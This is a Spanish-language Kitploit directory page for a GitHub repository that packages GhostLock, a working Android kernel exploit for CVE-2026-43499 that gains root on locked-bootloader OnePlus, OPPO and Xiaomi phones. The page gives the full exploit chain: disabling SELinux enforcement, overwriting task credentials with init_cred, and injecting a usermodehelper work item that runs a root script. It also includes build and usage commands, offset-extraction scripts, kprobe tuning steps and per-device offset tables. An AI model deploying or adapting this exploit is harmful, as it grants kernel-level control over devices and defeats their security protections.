Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/xiaobailovesstirring/ghostlock-k419-adapter
Seguridad AndroidEscalada de PrivilegiosFrameworks de ExploitsExplotaciónPost-ExplotaciónPruebas de PenetraciónSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubxiaobailovesstirring/ghostlock-k419-adapter

ghostlock-k419-adapter

Adaptador de GhostLock (CVE-2026-43499) para kernel Android 4.19.152-perf+

Ver Repositorio
hace 1 díaAún no revisado

GhostLock — Jailbreak de OnePlus con bootloader bloqueado

Exploit de kernel para dispositivos OnePlus/OPPO/realme con bootloader bloqueado. Consigue root e instala KernelSU sin desbloquear el bootloader ni modificar la imagen de arranque. Detección automática en tiempo de ejecución de la versión del kernel con una tabla de offsets multi-dispositivo.

GhostLock ejecutándose en OnePlus Ace 6T con KernelSU (LKM, modo Jailbreak)

Vulnerabilidad

CVE-2026-43499 — Use-After-Free en Futex PI (Priority Inheritance)

Afecta al kernel de Linux 2.6.39 ~ 7.1. Corregido en mainline 7.1 (commit 3bfdc63936dd). Android GKI 6.12.x sigue siendo vulnerable.

La syscall pselect6 copia datos de fd_set a la pila del kernel. Cuando se combina con el mecanismo de waiter de futex PI, un stack frame liberado puede reutilizarse como estructura rt_mutex_waiter. El rebalanceo del rb-tree durante el recorrido de la cadena PI escribe entonces valores controlados en direcciones arbitrarias del kernel.

Dispositivos compatibles

Verificados

Offsets extraídos (pendiente de prueba en dispositivo)

DispositivoSoCKernelNotas
OnePlus 15T (PLZ110)SM88456.12.38-...-ab14552068Mismo kernel que el Ace 6T. Verificado en QEMU, SP diff=-64.

No viable (distribución de pila incompatible)

La superposición de pila de pselect solo funciona cuando el rt_mutex_waiter liberado cae dentro de la región controlable por el usuario del buffer stack_fds. Dónde cae el waiter lo determina la salida del compilador (PGO + LTO), no la versión del kernel. Consulta Distribución de pila para más detalles.

Flujo del exploit

Dos rutas de root, seleccionadas automáticamente según las capacidades del dispositivo:

Ruta A: Root por UMH (preferida, dispositivos con ashmem en C)

Requiere off_ashmem_misc_fops != 0 (ashmem en C con miscdevice estático en BSS).

root@kitploit:~
PI write (mode=4)  →  redirect miscdevice fops to fake fops (via W0 pi_tree)
                      configfs r/w established
                   →  pipe physrw (1-byte precise kernel r/w)
                   →  SELinux enforcing = 0 (single byte, no policycap corruption)
                   →  UMH: inject work_struct into system_unbound_wq
                      kernel executes /data/local/tmp/a/e --umh as UID 0
                   →  root script → ksud late-load → KSU installed

Ventajas sobre la ruta B:

  • Escritura de 1 byte en SELinux — no corrompe selinux_state.policycap (soluciona los problemas de red en OnePlus 13)
  • Sin perf_event_open — funciona bajo restricciones de seccomp
  • Sin parcheo de credenciales — evita modificar el task_struct en vivo

Actualmente disponible en: OnePlus 13 (kernel 6.6, ashmem en C). No disponible en dispositivos con ashmem en Rust (GKI 6.12) — el miscdevice se asigna en el heap, por lo que su dirección no es predecible en tiempo de compilación.

Ruta B: Escritura PI directa (respaldo, todos los dispositivos)

Se usa cuando no están disponibles los offsets de UMH ni los misc_fops de ashmem en C.

root@kitploit:~
Write 1 (mode=1)  →  SELinux enforcing = 0
                      (low byte of kernel ptr = 0x00, 8-byte write)

Write 2 (mode=2)  →  task->cred = init_cred
                      (uid=0, all capabilities)

Root shell         →  ksud late-load (KernelSU LKM)
                   →  su -c load_policy (fix SELinux policycap)
                   →  dynamic manager registration

Modo bootstrap (teléfono independiente)

root@kitploit:~
App (seccomp)  →  Write 1 (no perf needed)
               →  mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
               →  adb shell: full exploit (perf works, no seccomp)
               →  root → KSU → network fix

Arranque automático (mediante integración de ReSukiSU)

root@kitploit:~
BOOT_COMPLETED → BootCompletedReceiver
  ├─ su available → skip (soft reboot / already rooted)
  └─ no root → GhostlockService → setsid exploit --bootstrap

Viabilidad de la distribución de pila

Con NFDS=320, el core_sys_select del kernel asigna un buffer stack_fds de 256 bytes:

root@kitploit:~
stack_fds:  0    5    10   14 | 15   20   25   29
            ├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
            ◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►

El exploit escribe campos de waiter falsos (task, lock) en los bitmaps de entrada de fd_set. Para que esto funcione, los campos task y lock del waiter deben caer dentro de la zona controlable (words 0-14).

root@kitploit:~
Ace 6T ✅ (waiter at word 2):
  ░░████████████████░░│░░░░░░░░░░░░░░░░░░
    ▲waiter      t  l │
    task/lock controllable

RMX5070 ❌ (waiter at word 13):
  ░░░░░░░░░░░░░████│██████████████░░░░░░
                 ▲  │    t     l
               waiter  task/lock ZEROED

Regla de viabilidad: la word del waiter + 11 (offset de lock en rt_waiter_node) debe ser ≤ 14. La word de waiter máxima viable es 3.

La posición del waiter la determina la distribución del stack frame del compilador (perfiles de optimización PGO + LTO + BOLT), que varía según la rama del SoC. La misma versión de kernel puede tener distribuciones diferentes en distintos SoC.

kernel_phys_load

Todas las escrituras al kernel pasan a través del alias de mapa lineal de la imagen:

root@kitploit:~
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)

El bootloader elige kernel_phys_load, por lo que varía según el SoC y no está en boot.img ni en el DT. Es un campo por dispositivo en struct kernel_offsets; 0 = usar el valor predeterminado de target.h.

SoCkernel_phys_load
SM8845 (Ace 6T, 15T)0xa8000000
SM8750 (OnePlus 13, OPPO Pad 4 Pro)0xa8000000
SM8850 (OnePlus 15, Xiaomi 17)0xc7800000

Un valor incorrecto falla silenciosamente — la escritura aterriza igualmente en RAM mapeada, por lo que no hay fallo ni efecto. No lo confundas con un problema de PSELECT_SHIFT. Léelo en una unidad rooteada del mismo modelo (Kernel code comienza en _stext; _text está 0x10000 más abajo):

root@kitploit:~
su -c 'grep -i "Kernel code" /proc/iomem'   # c7810000-... -> 0xc7800000

PSELECT_SHIFT

Distintos kernels colocan el waiter en diferentes posiciones dentro de la zona controlable. Usa PSELECT_SHIFT para ajustarlo:

root@kitploit:~
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e

# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e

# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e

La word de waiter que da check_feasibility.py no es fiable: su aritmética de frames es correcta, pero los offsets de struct que infiere de los zero-stores no lo son (en OnePlus 15 da word 3; la medida es word 2). Un shift incorrecto cuesta un kernel panic por intento, así que mídela en una unidad rooteada:

root@kitploit:~
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
#   PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2

Compilación

root@kitploit:~
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  -O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
  src/core/main.c src/core/util.c src/core/slide.c \
  src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
  src/core/miniadb.c src/core/umh_root.c \
  -o ghostlock -fPIE -pie -pthread

Requisitos previos

ksud (necesario para la instalación de KSU)

GhostLock solo proporciona root. La instalación de KernelSU depende de ksud, un binario que contiene módulos kernelsu.ko incrustados para cada versión de KMI. El script de root localiza ksud en el dispositivo y ejecuta ksud late-load --kmi android16-6.12.

Sin ksud, el exploit consigue root (uid=0), pero KSU no se instalará y su no persistirá.

Configuración (una sola vez)

root@kitploit:~
# Enable ADB TCP (use any port)
adb tcpip 5555

# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"

Tras el primer jailbreak exitoso, persist.adb.tcp.port se establece mediante resetprop — los arranques posteriores son totalmente automáticos.

Uso

root@kitploit:~
/data/local/tmp/a/e                        # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap            # Phone standalone (app context)
/data/local/tmp/a/e --write1               # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e       # Override stack layout shift

Importante: Ejecuta dentro de los 30 segundos posteriores al arranque para obtener la mejor fiabilidad de temporización de KernelSnitch.

Añadir nuevos dispositivos / versiones de kernel

Solo se necesita boot.img — no se requiere root ni acceso al dispositivo.

Extraer offsets de boot.img

root@kitploit:~
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Global symbols (kallsyms)
python tools/extract_target.py    # 28 offsets, auto-validated

# 3. Struct fields (BTF)
python tools/extract_btf.py kernel  # 57 offsets, auto-validated

# 4. Add to offsets.h, rebuild

Cobertura: 103/103 offsets desde boot.img

Adaptación a dispositivos que no son OnePlus

El exploit principal es independiente del dispositivo. La adaptación puede requerir:

  • VA_BITS diferentes (48 vs 39) → actualizar el diseño de memoria de target.h
  • kernel_phys_load diferente → leerlo de /proc/iomem o usar la variable de entorno KPHYS=
  • Parámetros de temporización diferentes → ajustar common.h
  • Implementación de ashmem diferente (C vs Rust) → el ashmem en C habilita la ruta UMH; el ashmem en Rust recurre a W1+W2
  • PSELECT_SHIFT diferente → determinarlo mediante una prueba de kprobe en QEMU
  • Offsets de struct diferentes (6.6 vs 6.12) → usar STRUCT_OFFSETS_6_6 o STRUCT_OFFSETS_6_12 en la entrada del dispositivo

Requisitos del root por UMH

La ruta de root por UMH (call_usermodehelper) requiere:

  • off_system_unbound_wq y off_call_usermodehelper_exec_work de kallsyms
  • off_ashmem_misc_fops = ashmem_misc + 0x10 (solo ashmem en C, miscdevice.fops en BSS)
  • El ashmem en Rust (GKI 6.12) asigna miscdevice en el heap → dirección no predecible → UMH no disponible

Archivos

Licencia

Solo para investigación de seguridad autorizada y fines educativos.

Descargar herramienta
DispositivoSoCKernelEstado
OnePlus Ace 6T (PLR110)SM88456.12.38-...-ab14275539Funciona
OnePlus Ace 6T (PLR110)SM88456.12.38-...-ab14552068Funciona
OnePlus 15 (CPH2749)SM88506.12.23-...-ab14541642Funciona
Xiaomi 17 (pudding)SM88506.12.23-...-abogki463945075Funciona
Xiaomi 17 (pudding)SM88506.12.69-...-abogki514973465Funciona (actualización de agosto de 2026)
OnePlus 13 (IN2060)SM87506.6.89-...-abogki446052083Funciona (PSELECT_SHIFT=-2)
OPPO Pad 4 ProSM87506.6.89-...-ab14358676Funciona (PSELECT_SHIFT=-2)
DispositivoSoCKernelMotivo
OPPO Find X9 UltraSM87506.12.58-android16-6PGO elimina el frame de do_futex → SP diff=+32, waiter word=14. No existe ningún shift seguro.
OPPO Find X7—6.1.157GKI 6.1: waiter en word 13 (todos los dispositivos OPLUS/GKI 6.1)
realme RMX5070SM66506.1.141GKI 6.1: waiter en word 13
realme RMX3852SM86356.1.141Misma rama 6.1 que RMX5070
OnePlus 13R / Ace 5SM86506.1.xMisma rama 6.1
OnePlus 12SM86506.1.141GKI 6.1: do_futex inline por PGO, waiter word=13/19
OPPO Pad 5 (OPD2502)MT68786.1.134Misma rama 6.1
OPPO PKW110—5.15.180frame de do_futex 0x140 (4,5 veces el normal) → waiter word=-29, inalcanzable
Motorola Edge 60 FusionMT68786.1.145GKI 6.1: waiter en word 13 (no OPLUS, mismo resultado)
iQOO Z9 5G—5.15.178frame de do_futex demasiado grande, waiter inalcanzable. No es un dispositivo OPLUS (vivo).
Método
Pasos
APK de ReSukiSU (recomendado)Instala ReSukiSU o este fork. La versión oficial incluye libksud.so.
Lanzamiento de CIDescarga ksud-aarch64-linux-android.zip desde CI de ReSukiSU
FuenteCantidadMétodo
kallsyms (símbolos globales)28extract_target.py
BTF (campos de struct)57extract_btf.py
Derivados (misma struct, uso diferente)9Automático
Constantes (valores fijos)12Sin necesidad de extracción
ArchivoDescripción
src/core/main.cEntrada del exploit, Write 1/2, ruta UMH, bootstrap, script de root
src/core/fops.cRuta de pselect, mecanismo de escritura PI, etapa CFI
src/core/util.cHeap spray, kernelsnitch, slab drain, preparación del payload
src/core/pipe_physrw.cLectura/escritura de memoria física basada en pipe buffer (mejora la r/w de configfs)
src/core/umh_root.cRoot por UMH mediante inyección en workqueue + manejador --umh
src/core/miniadb.cCliente mini-ADB (TCP + autenticación RSA)
src/core/common.hParámetros de temporización, macros
src/core/target.hDiseño de memoria, valores predeterminados de campos de struct (6.12)
src/core/runtime_struct_offsets.hAnulación de campos de struct por dispositivo (6.6 vs 6.12)
src/devices/offsets.hAgrega todas las tablas de offsets de dispositivos + macros STRUCT_OFFSETS_*
src/devices/<device>/offsets.hEntradas de offsets de kernel por dispositivo
src/core/slide.cFuga de dirección del kernel SLIDE
src/core/root.cConfiguración de shell root (parcheo directo de credenciales mediante pipe physrw)
tools/extract_target.pyExtracción de offsets desde kallsyms
tools/extract_btf.pyExtracción de offsets de struct desde BTF
tools/check_feasibility.pyComprobador de viabilidad de la distribución de pila